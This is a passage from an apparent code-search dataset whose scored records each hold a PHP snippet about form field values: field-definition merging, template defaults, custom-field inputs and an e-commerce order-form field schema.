{\n break;\n }\n }\n if ( !$found )\n {\n $field_name = $field_cfg;\n }\n }\n\n // get the field definition\n $field_data = $user_fields[$field_name];\n\n // overwrite by the map definition\n @reset($user_maps[$map_name]['fields'][$field_name]);\n while ( list($key, $value) = @each($user_maps[$map_name]['fields'][$field_name]) )\n {\n $field_data[$key] = $value;\n }\n\n // parse the default value\n if ( !empty($field_data['default']) || ($field_data['default'] == \"0\") )\n {\n $tables_used = array();\n $field_data['default'] = pcp_parse_def($field_data['default'], $userdata, $tables_used);\n }\n\n // solve values list\n if ( !empty($field_data['values']) && is_string($field_data['values']) )\n {\n // if list drop force the img/txt set\n if ( ($field_data['get_mode'] == 'LIST_DROP') && $field_data['img'] )\n {\n $field_data['img'] = false;\n $field_data['txt'] = true;\n }\n $field_data['values'] = pcp_get_values_list($field_name, $field_data, $map_name);\n if ( empty($field_data['values']) )\n {\n $field_data['default'] = '';\n }\n else\n {\n // check if the default value is in the values list\n @reset($field_data['values']);\n $found = false;\n while ( list($value, $key) = @each($field_data['values']) )\n {\n $found = ( $field_data['default'] == $key );\n if ( $found )\n {\n break;\n }\n }\n if ( !$found )\n {\n $first_key = '';\n @reset($field_data['values']);\n list($first_value, $first_key) = @each($field_data['values']);\n $field_data['default'] = $first_key;\n }\n }\n }\n\n // get back values\n $res = $field_data;\n\n // fill the necessary entries for mods_settings\n $res['user'] = $field_name;\n if ( !empty($res['get_mode']) )\n {\n $res['type'] = $res['get_mode'];\n }\n else if ( !empty($res['get_func']) || !empty($res['chk_func']) )\n {\n $res['type'] = '';\n }\n return $res;\n}", "title": "" }, { "docid": "fd365c7462255e1af49b007eec0c519b", "score": "0.5597042", "text": "protected function initResultFields()\r\n {\r\n }", "title": "" }, { "docid": "35c64e4a4a1b928b7757d8f5b98a1489", "score": "0.5592478", "text": "public function main() {\n\t\t$this->processField();\n\t}", "title": "" }, { "docid": "0a105534af5746a7343f159a29e849f4", "score": "0.5580374", "text": "function dataplus_get_form_values() {\n global $mode, $dataplusdb;\n\n $template = $dataplusdb->get_template($mode);\n $columns = $dataplusdb->list_dataplus_table_columns(true);\n $functions = dataplus_detail_supporting_functions();\n $actions = dataplus_detail_supporting_actions();\n $infos = dataplus_detail_supporting_record_information();\n\n $defvals = array();\n\n if (empty($template->record)) {\n $defvals = array('record' => dataplus_get_default_view_template());\n } else {\n foreach ($columns as $column) {\n $name = $column->name;\n $label = $column->label;\n\n $template->record = str_replace(\"[[{$name}]]\", \"[[{$label}]]\", $template->record);\n $template->record = str_replace(\"##{$name}##\", \"##{$label}##\", $template->record);\n }\n\n foreach ($actions as $action) {\n $name = $action->name;\n $label = $action->label;\n\n $template->record = str_replace(\"##{$name}##\", \"##{$label}##\", $template->record);\n }\n\n foreach ($infos as $i) {\n $name = $i->name;\n $label = $i->label;\n\n $template->record = str_replace(\"##{$name}##\", \"##{$label}##\", $template->record);\n }\n\n $defvals['record'] = $template->record;\n }\n\n if (empty($template->header)) {\n $defvals['header'] = dataplus_get_default_header();\n } else {\n $defvals['header'] = $template->header;\n }\n\n if (empty($template->footer)) {\n $defvals['footer'] = dataplus_get_default_footer();\n } else {\n $defvals['footer'] = $template->footer;\n }\n\n if (empty($template->comments)) {\n $defvals['comments'] = dataplus_get_default_comments();\n } else {\n $defvals['comments'] = $template->comments;\n }\n\n foreach ($actions as $action) {\n $name = $action->name;\n $label = $action->label;\n\n $defvals['comments'] = str_replace(\"**{$name}**\", \"**{$label}**\", $defvals['comments']);\n }\n\n foreach ($functions as $function) {\n $name = $function->name;\n $label = $function->label;\n\n $defvals['header'] = str_replace(\"##{$name}##\", \"##{$label}##\", $defvals['header']);\n $defvals['footer'] = str_replace(\"##{$name}##\", \"##{$label}##\", $defvals['footer']);\n }\n\n if (empty($template->css)) {\n $defvals['css'] = dataplus_get_default_css();\n } else {\n $defvals['css'] = $template->css;\n }\n\n if (!empty($template->js)) {\n $defvals['javascript'] = $template->js;\n }\n\n if (!empty($template->jsinit)) {\n $defvals['jsinit'] = $template->jsinit;\n }\n\n if (!empty($template->sortorder)) {\n $orders = explode(\",\", $template->sortorder);\n\n for ($i = 0; $i < count($orders); $i++) {\n $orderparts = explode(\" \", $orders[$i]);\n $defvals['sortorder' . ($i + 1)] = $orderparts[0];\n\n if (count($orderparts) == 2) {\n $defvals['sortoption' . ($i + 1)] = $orderparts[1];\n }\n }\n }\n\n return $defvals;\n}", "title": "" }, { "docid": "290e489f0a0f7e787186eef33d3fce8c", "score": "0.5564837", "text": "public function getFieldsValue($obj)\r\r\n {\r\r\n foreach ($this->fields_form as $fieldset) {\r\r\n if (isset($fieldset['form']['input'])) {\r\r\n foreach ($fieldset['form']['input'] as $input) {\r\r\n if (!isset($this->fields_value[$input['name']])) {\r\r\n if (isset($input['type']) && $input['type'] == 'shop') {\r\r\n if ($obj->id) {\r\r\n $result = Shop::getShopById(\r\r\n (int) $obj->id,\r\r\n $this->object_identifier,\r\r\n $this->object_table\r\r\n );\r\r\n foreach ($result as $row) {\r\r\n $this->fields_value['shop'][$row['id_' . $input['type']]][] = $row['id_shop'];\r\r\n }\r\r\n }\r\r\n } elseif (isset($input['lang']) && $input['lang']) {\r\r\n foreach ($this->_languages as $language) {\r\r\n $fieldValue = $this->getFieldValue($obj, $input['name'], $language['id_lang']);\r\r\n if (empty($fieldValue)) {\r\r\n if (isset($input['default_value']) && is_array($input['default_value']) && isset($input['default_value'][$language['id_lang']])) {\r\r\n $fieldValue = $input['default_value'][$language['id_lang']];\r\r\n } elseif (isset($input['default_value'])) {\r\r\n $fieldValue = $input['default_value'];\r\r\n }\r\r\n }\r\r\n $this->fields_value[$input['name']][$language['id_lang']] = $fieldValue;\r\r\n }\r\r\n } else {\r\r\n $fieldValue = $this->getFieldValue($obj, $input['name']);\r\r\n if ($fieldValue === false && isset($input['default_value'])) {\r\r\n $fieldValue = $input['default_value'];\r\r\n }\r\r\n $this->fields_value[$input['name']] = $fieldValue;\r\r\n }\r\r\n }\r\r\n }\r\r\n }\r\r\n }\r\r\n\r\r\n return $this->fields_value;\r\r\n }", "title": "" }, { "docid": "7a808ce56fd30eb979ef9eb22c1bba37", "score": "0.55633056", "text": "abstract protected function getFieldCode();", "title": "" }, { "docid": "f471fda741917a97f3a4c844176e003a", "score": "0.5561744", "text": "function getValues() {\n $temp = array();\n foreach ($this->_fields_array as $n) {\n if (isset($this->{$n})) {\n $temp[$n] = $this->{$n};\n }\n }\n return $temp;\n }", "title": "" }, { "docid": "8da2158926ccbfaf8104f8229233d7c9", "score": "0.5556324", "text": "protected function find_fields(){\n\t\t$wpdb = $this->get_wpdb();\n if ( $wpdb ) {\n $table = $wpdb->prefix . 'cf_form_entry_values';\n $sql = $wpdb->prepare(\"SELECT * FROM $table WHERE `entry_id` = %d\", $this->entry_id);\n $results = $wpdb->get_results($sql);\n if (!empty($results)) {\n foreach ($results as $result) {\n $_field = new Caldera_Forms_Entry_Field($result);\n $this->fields[] = $_field;\n }\n }\n }\n\t}", "title": "" }, { "docid": "40bcaaa6a1dd9e1173aec3030d3c0db1", "score": "0.5553487", "text": "public function processDataFields($fields){\n $result = [];\n foreach($fields as $field){\n if($field[1] == 'text'){\n $result[$field[2]] = $this->processTextFields($field[0]);\n } else {\n $result[$field[2]] = $this->processAttrFields($field[0], $field[1]);\n }\n }\n return $result;\n }", "title": "" }, { "docid": "b5e2bbb52df423387d7cdd484b7d4c2d", "score": "0.5549727", "text": "function value($field) {\n return $this->Fields[$field];\n}", "title": "" }, { "docid": "e23d60d082582c2d0fd382753cc3aee2", "score": "0.55451196", "text": "public function get_values(){return $this->_op->get_values();}", "title": "" }, { "docid": "6439c4967341aefb6e7a87f200af13d1", "score": "0.5543234", "text": "public function formateValues(&$values)\r\n {\r\n }", "title": "" }, { "docid": "5905882d1aba56e948f8e44f8dc09d32", "score": "0.5542841", "text": "public function getFieldValue($field);", "title": "" }, { "docid": "38ae8bd761d23818015d276775dfc0bc", "score": "0.5538806", "text": "public function processFieldsBeforeSave(): Result\n\t{\n\t\t$result = new Result();\n\n\t\tif (!$this->fieldsCollection)\n\t\t{\n\t\t\treturn $result;\n\t\t}\n\n\t\tforeach($this->fieldsCollection as $field)\n\t\t{\n\t\t\t$fieldResult = $field->process($this->item, $this->getContext());\n\t\t\tif (!$fieldResult->isSuccess())\n\t\t\t{\n\t\t\t\t$result->addErrors($fieldResult->getErrors());\n\t\t\t}\n\t\t}\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "648b4dbd0960628febb01596058df914", "score": "0.5536855", "text": "public function createFieldUpdateVal($fieldArr, $viewFld, $valArr, $numericFields, $dateFields)\n {\n $fldStr = \"\";\n for ($k = 0; $k < count($fieldArr); $k++) {\n if ($fldStr == \"\") {\n $fldStr = $viewFld[$k].\" = '\".$valArr[$fieldArr[$k]].\"'\";\n } else {\n if (empty($valArr[$fieldArr[$k]])) {\n $valArr[$fieldArr[$k]] = \"NULL\";\n }\n if (in_array($fieldArr[$k], $dateFields) && $valArr[$fieldArr[$k]]!= \"NULL\") {\n $valArr[$fieldArr[$k]] = $viewFld[$k].\" = Cast('\".$valArr[$fieldArr[$k]].\"' as date)\";\n } else if (in_array($fieldArr[$k], $dateFields) && $valArr[$fieldArr[$k]] == \"NULL\") {\n $valArr[$fieldArr[$k]] = $viewFld[$k].\" = \".$valArr[$fieldArr[$k]];\n }\n if (in_array($fieldArr[$k], $numericFields)) {\n $valArr[$fieldArr[$k]] = $viewFld[$k].\"=\".$valArr[$fieldArr[$k]];\n }\n if (in_array($fieldArr[$k], $numericFields) || in_array($fieldArr[$k], $dateFields)) {\n $fldStr .= \",\".$valArr[$fieldArr[$k]];\n } else {\n if ($valArr[$fieldArr[$k]] != \"NULL\") {\n $valArr[$fieldArr[$k]] = str_replace(\"'\", \"''\", htmlspecialchars_decode($valArr[$fieldArr[$k]], ENT_QUOTES));\n }\n $fldStr .= \",\".$viewFld[$k].\"= N'\".$valArr[$fieldArr[$k]].\"'\";\n }\n }\n }\n return $fldStr;\n }", "title": "" }, { "docid": "21ba20d91b2bd1ec1aba579db3a77453", "score": "0.5529552", "text": "function prepCustomFields($db, $queryresult, $therecord){\r\n\r\n while ($fieldInfo = $db->fetchArray($queryresult)){\r\n\r\n $id = $fieldInfo[\"field\"];\r\n $name = $fieldInfo[\"name\"];\r\n $required = ((bool) $fieldInfo[\"required\"]);\r\n $format = ($fieldInfo[\"format\"]) ? $fieldInfo[\"format\"] : null;\r\n $size = \"40\";\r\n $value = (isset($therecord[$id])) ? $therecord[$id] : \"\";\r\n\r\n //need to handle roleid\r\n $disabled = !(hasRights($fieldInfo[\"roleid\"]));\r\n\r\n //different custom fields (based on number) have different types\r\n switch(substr($id, 6)){\r\n\r\n case 1:\r\n case 2:\r\n if($value === \"\")\r\n $value = 0;\r\n\r\n if($format == \"currency\")\r\n $theinput = new inputCurrency($id, $value, $name, $required);\r\n else\r\n $theinput = new inputField($id, $value, $name, $required, $format, 8, 128);\r\n\r\n $generator = true;\r\n\r\n if($disabled) {\r\n\r\n $theinput->setAttribute(\"readonly\",\"readonly\");\r\n \t\t$theinput->setAttribute(\"class\",\"uneditable\");\r\n $generator = false;\r\n\r\n }//endif\r\n break;\r\n\r\n case 3:\r\n case 4:\r\n if($disabled){\r\n\r\n $theinput = new inputField($id, $value, $name, $required, null, 10, 15);\r\n $theinput->setAttribute(\"readonly\",\"readonly\");\r\n $theinput->setAttribute(\"class\",\"uneditable\");\r\n $generator = false;\r\n\r\n } else {\r\n\r\n if($format == \"date\")\r\n $theinput = new inputDatePicker($id, $value, $name, $required);\r\n else{\r\n\r\n $value = explode(\" \", $value);\r\n $value = (count($value) > 1) ? $value[1] : \"\";\r\n $theinput = new inputTimePicker($id, $value, $name, $required);\r\n\r\n }//endif\r\n\r\n $generator = true;\r\n\r\n }//endif\r\n\r\n break;\r\n\r\n case 5:\r\n case 6:\r\n if($format == \"list\" && !$disabled){\r\n\r\n $theinput = new inputChoiceList($db, $id, $value, $id.\"-\".$fieldInfo[\"tabledefid\"], $name);\r\n $generator = false;\r\n\r\n } else {\r\n\r\n $theinput = new inputField($id, $value, $name, $required, $format, 40, 254);\r\n $generator = true;\r\n\r\n }//endif\r\n\r\n if($disabled){\r\n\r\n $theinput->setAttribute(\"readonly\",\"readonly\");\r\n \t\t$theinput->setAttribute(\"class\",\"uneditable\");\r\n $generator = false;\r\n\r\n }//endif\r\n break;\r\n\r\n case 7:\r\n case 8:\r\n $generator = false;\r\n $theinput = new inputCheckbox($id, $value, $name, $disabled);\r\n break;\r\n\r\n }//endswitch\r\n\r\n //need to handle creation of onload js for generator, but only if type\r\n // not = checkbox or list.\r\n if($generator && $fieldInfo[\"generator\"])\r\n $this->onload[] = \"var \".$id.\"Button = getObjectFromID('\".$id.\"Button'); connect(\".$id.\"Button, 'onclick', function(){var \".$id.\" = getObjectFromID('\".$id.\"');\".$id.\".value = \".$fieldInfo[\"generator\"].\"})\";\r\n\r\n $this->addField($theinput);\r\n\r\n }//endwile\r\n\r\n //rewind the queryresult pointer (if not false)\r\n if($queryresult)\r\n $db->seek($queryresult, 0);\r\n\r\n }", "title": "" }, { "docid": "496f1fceae0611ab1da9ba3761777f58", "score": "0.5523435", "text": "function fieldValue($field = \"client_id\",$id = \"\",$condition = \"\",$order = \"\")\n\t{\n\t\t$rs = $this->fetchRecordSet($id, $condition, $order);\n\t\t$ret = 0;\n\t\twhile($rw = mysql_fetch_assoc($rs))\n\t\t{\n\t\t\t$ret = $rw[$field];\n\t\t}\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "c1e056fcd9b6fc160c78c354c0599c90", "score": "0.551695", "text": "public function processBeforeRender()\n {\n //\n // override this method if you need to auto-calculate\n // any field values before the form is rendered\n }", "title": "" }, { "docid": "845b6f1fd412b65c9eaf4a4dc195a40c", "score": "0.55138135", "text": "abstract public function available_fields();", "title": "" }, { "docid": "7f297a93ec35166e21221c3b50c0db69", "score": "0.5505267", "text": "function get_field_value_row_bits($field,$required=NULL,$default=NULL,$db=NULL)\n\t{\n\t\tunset($field);\n\t\tif (!is_null($required))\n\t\t{\n\t\t\tif (($required) && ($default=='')) $default='default';\n\t\t\t$default=strval(insert_lang_comcode($default,3,$db));\n\t\t}\n\t\treturn array('long_trans',$default,'long_trans');\n\t}", "title": "" }, { "docid": "6b1f726ddc6beff90eafa5197349c6fc", "score": "0.55039185", "text": "abstract protected function _buildCalcRows();", "title": "" }, { "docid": "1e437453c67474e6dd7f6d65c96694ba", "score": "0.549608", "text": "public function table_fields();", "title": "" }, { "docid": "f30b1148fc7b3f5287fb30aa69310b74", "score": "0.5490747", "text": "abstract public function mapFieldValue($value);", "title": "" }, { "docid": "38db6ab2b5f26321e4464685d0447a90", "score": "0.5488968", "text": "public function get_fields( $specific_field = \"\" )\r\n {\r\n $fields = array(\r\n \r\n 'order_id' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_id',\r\n 'label' => 'id #',\r\n 'type' => 'text',\r\n 'type_dt' => 'text',\r\n 'attributes' => array(),\r\n 'dt_attributes' => array(\"width\"=>\"5%\"),\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n 'order_user_id' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_user_id',\r\n 'label' => 'User ID',\r\n 'type' => 'dropdown',\r\n 'type_dt' => 'text',\r\n 'attributes' => array('additional'=>'disabled=\"disabled\"'),\r\n 'dt_attributes' => array(\"width\"=>\"5%\"),\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n 'order_payment_type' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_payment_type',\r\n 'label' => 'Payment Type',\r\n 'type' => 'hidden',\r\n 'type_dt' => 'text',\r\n 'attributes' => array(),\r\n 'dt_attributes' => array(\"width\"=>\"5%\"),\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n\r\n // 'order_is_sandbox' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_is_sandbox',\r\n // 'label' => 'Status?',\r\n // 'type' => 'hidden',\r\n // 'type_dt' => 'dropdown',\r\n // 'type_filter_dt' => 'dropdown',\r\n // 'list_data_key' => \"order_is_sandbox\" ,\r\n // 'list_data' => array(),\r\n // 'default' => '1',\r\n // 'attributes' => array(),\r\n // 'dt_attributes' => array(\"width\"=>\"7%\"),\r\n // 'rules' => 'trim'\r\n // ),\r\n \r\n \r\n // 'order_agreed_terms_status' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_agreed_terms_status',\r\n // 'label' => 'Agreed terms status?',\r\n // 'type' => 'switch',\r\n // 'type_dt' => 'dropdown',\r\n // 'type_filter_dt' => 'dropdown',\r\n // 'list_data_key' => \"order_agreed_terms_status\" ,\r\n // 'list_data' => array(),\r\n // 'attributes' => array(),\r\n // 'dt_attributes' => array(\"width\"=>\"7%\"),\r\n // 'rules' => 'trim'\r\n // ),\r\n\r\n 'order_payment_status' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_payment_status',\r\n 'label' => 'Payment Status',\r\n 'type' => 'dropdown',\r\n 'list_data' => array(\r\n 0 => \"<span class=\\\"label label-danger\\\">Not Attempt</span>\" , \r\n 1 => \"<span class=\\\"label label-success\\\">Payment approved</span>\" ,\r\n 2 => \"<span class=\\\"label label-danger\\\">Declined</span>\" ,\r\n 3 => \"<span class=\\\"label label-danger\\\">Error</span>\" ,\r\n 4 => \"<span class=\\\"label label-danger\\\">Held for Review</span>\" ,\r\n 11=> \"<span class=\\\"label label-danger\\\">Fruad Cause</span>\",\r\n ) ,\r\n 'attributes' => array(),\r\n // 'js_rules' => 'required',\r\n // 'rules' => 'required',\r\n ),\r\n\r\n // 'order_delivery_status' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_delivery_status',\r\n // 'label' => 'Delivery Status',\r\n // 'type' => 'hidden',\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-primary\\\">In Process</span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">New order</span>\" ,\r\n // 2 => \"<span class=\\\"label label-info\\\">Shipped</span>\" ,\r\n // 3 => \"<span class=\\\"label label-warning\\\">On Hold</span>\" ,\r\n // 4 => \"<span class=\\\"label label-danger\\\">Denied</span>\" ,\r\n // 5 => \"<span class=\\\"label label-danger\\\">Reject</span>\" ,\r\n // ) ,\r\n // 'attributes' => array(),\r\n // 'js_rules' => '',\r\n // 'rules' => 'trim'\r\n // ),\r\n\r\n\r\n 'order_shipping_type' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_type',\r\n 'label' => 'Shipping type',\r\n 'type' => 'dropdown',\r\n 'list_data' => array(),\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-success\\\">Standard Shipping </span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">Express Shipping</span>\"\r\n // ) ,\r\n 'attributes' => array(),\r\n 'type_filter_dt' => 'dropdown',\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n 'order_shipping_content' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_content',\r\n 'label' => 'Shipping Content',\r\n 'type' => 'hidden',\r\n 'type_dt' => 'text',\r\n 'attributes' => array(),\r\n 'dt_attributes' => array(\"width\"=>\"5%\"),\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n // 'order_shipping_type' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_shipping_type',\r\n // 'label' => 'Shipping type',\r\n // 'type' => 'hidden',\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-success\\\">No Shipping Charges</span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">Free</span>\" ,\r\n // 2 => \"<span class=\\\"label label-success\\\">Pick in store</span>\" ,\r\n // 3 => \"<span class=\\\"label label-success\\\">Cash on Delivery</span>\" ,\r\n // 4 => \"<span class=\\\"label label-success\\\">DHL charges</span>\" ,\r\n // ) ,\r\n // 'attributes' => array(),\r\n // 'js_rules' => '',\r\n // 'rules' => 'trim'\r\n // ),\r\n\r\n // 'order_promotion_email' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_promotion_email',\r\n // 'label' => 'Promotion Email',\r\n // 'type' => 'hidden',\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-success\\\">No</span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">Yes</span>\" ,\r\n // ) ,\r\n // 'attributes' => array(),\r\n // 'js_rules' => '',\r\n // 'rules' => 'trim'\r\n // ),\r\n\r\n 'order_promotion_newsletter' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_promotion_newsletter',\r\n 'label' => 'Monthly Newsletter',\r\n 'type' => 'hidden',\r\n 'list_data' => array(\r\n 0 => \"<span class=\\\"label label-success\\\">No</span>\" ,\r\n 1 => \"<span class=\\\"label label-success\\\">Yes</span>\" ,\r\n ) ,\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim'\r\n ),\r\n\r\n // 'order_is_tc' => array(\r\n // 'table' => $this->_table,\r\n // 'name' => 'order_is_tc',\r\n // 'label' => 'Accept Terms of Service and Privacy Policy',\r\n // 'type' => 'dropdown',\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-success\\\">No</span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">Yes</span>\" ,\r\n // ) ,\r\n // 'attributes' => array(),\r\n // 'js_rules' => 'required',\r\n // 'rules' => 'required',\r\n // ),\r\n\r\n 'order_is_tc' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_is_tc',\r\n 'label' => 'Payment Link Generated',\r\n 'type' => 'dropdown',\r\n // 'list_data' => array(\r\n // 0 => \"<span class=\\\"label label-success\\\">No</span>\" ,\r\n // 1 => \"<span class=\\\"label label-success\\\">Yes</span>\" ,\r\n // ) ,\r\n 'attributes' => array(),\r\n // 'js_rules' => 'required',\r\n // 'rules' => 'required',\r\n ),\r\n\r\n 'order_shipping_amount' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_amount',\r\n 'label' => 'Shipping charges',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_discount_amount' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_discount_amount',\r\n 'label' => 'Discount Amount',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_discount_content' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_discount_content',\r\n 'label' => 'Discount Content',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'product_price' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'product_price',\r\n 'label' => 'Product Price',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'invoice_price' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'invoice_price',\r\n 'label' => 'Invoice Amount',\r\n 'type' => 'none',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_fname' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_fname',\r\n 'label' => 'First Name', //'Billing<br />First Name',\r\n 'type' => 'text',\r\n 'attributes' => array(),\r\n 'js_rules' => 'required',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_lname' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_lname',\r\n 'label' => 'Last Name',//'Billing<br />Last Name',\r\n 'type' => 'text',\r\n 'attributes' => array(),\r\n 'js_rules' => 'required',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_phone' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_phone',\r\n 'label' => ' Billing Phone Number', //'Billing<br />Phone',\r\n 'type' => 'text',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_email' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_email',\r\n 'label' => 'Email',//'Billing<br />Email',\r\n 'type' => 'text',\r\n 'attributes' => array(),\r\n 'js_rules' => 'required',\r\n 'rules' => 'required|valid_email|strtolower|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_address' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_address',\r\n 'label' => 'Billing Address # 1',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_address2' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_address2',\r\n 'label' => 'Billing Address # 2',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_city' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_city',\r\n 'label' => 'Billing city',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_state' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_state',\r\n 'label' => 'Billing State',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_country' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_country',\r\n 'label' => 'Billing Country',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_billing_zip_code' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_billing_zip_code',\r\n 'label' => 'Billing postal/zip code',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'required|trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_fname' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_fname',\r\n 'label' => 'Shipping Frist Name',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_lname' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_lname',\r\n 'label' => 'Shipping Last Name',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_phone' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_phone',\r\n 'label' => 'Shipping Phone',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_email' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_email',\r\n 'label' => 'Shipping Email',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'valid_email|strtolower|trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_address' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_address',\r\n 'label' => 'Shipping Address # 1',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_address2' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_address2',\r\n 'label' => 'Shipping Address # 2',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_city' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_city',\r\n 'label' => 'Shipping city',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_state' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_state',\r\n 'label' => 'Shipping State',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_country' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_country',\r\n 'label' => 'Shipping Country',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_zip_code' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_zip_code',\r\n 'label' => 'Shipping postal/zip code',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n 'order_shipping_order_description' => array(\r\n 'table' => $this->_table,\r\n 'name' => 'order_shipping_order_description',\r\n 'label' => 'order Note',\r\n 'type' => 'hidden',\r\n 'attributes' => array(),\r\n 'js_rules' => '',\r\n 'rules' => 'trim|htmlentities'\r\n ),\r\n\r\n\r\n 'order_paypal_mc_gross' => array(\r\n 'table' => $this->_table,\r\n 'name' => 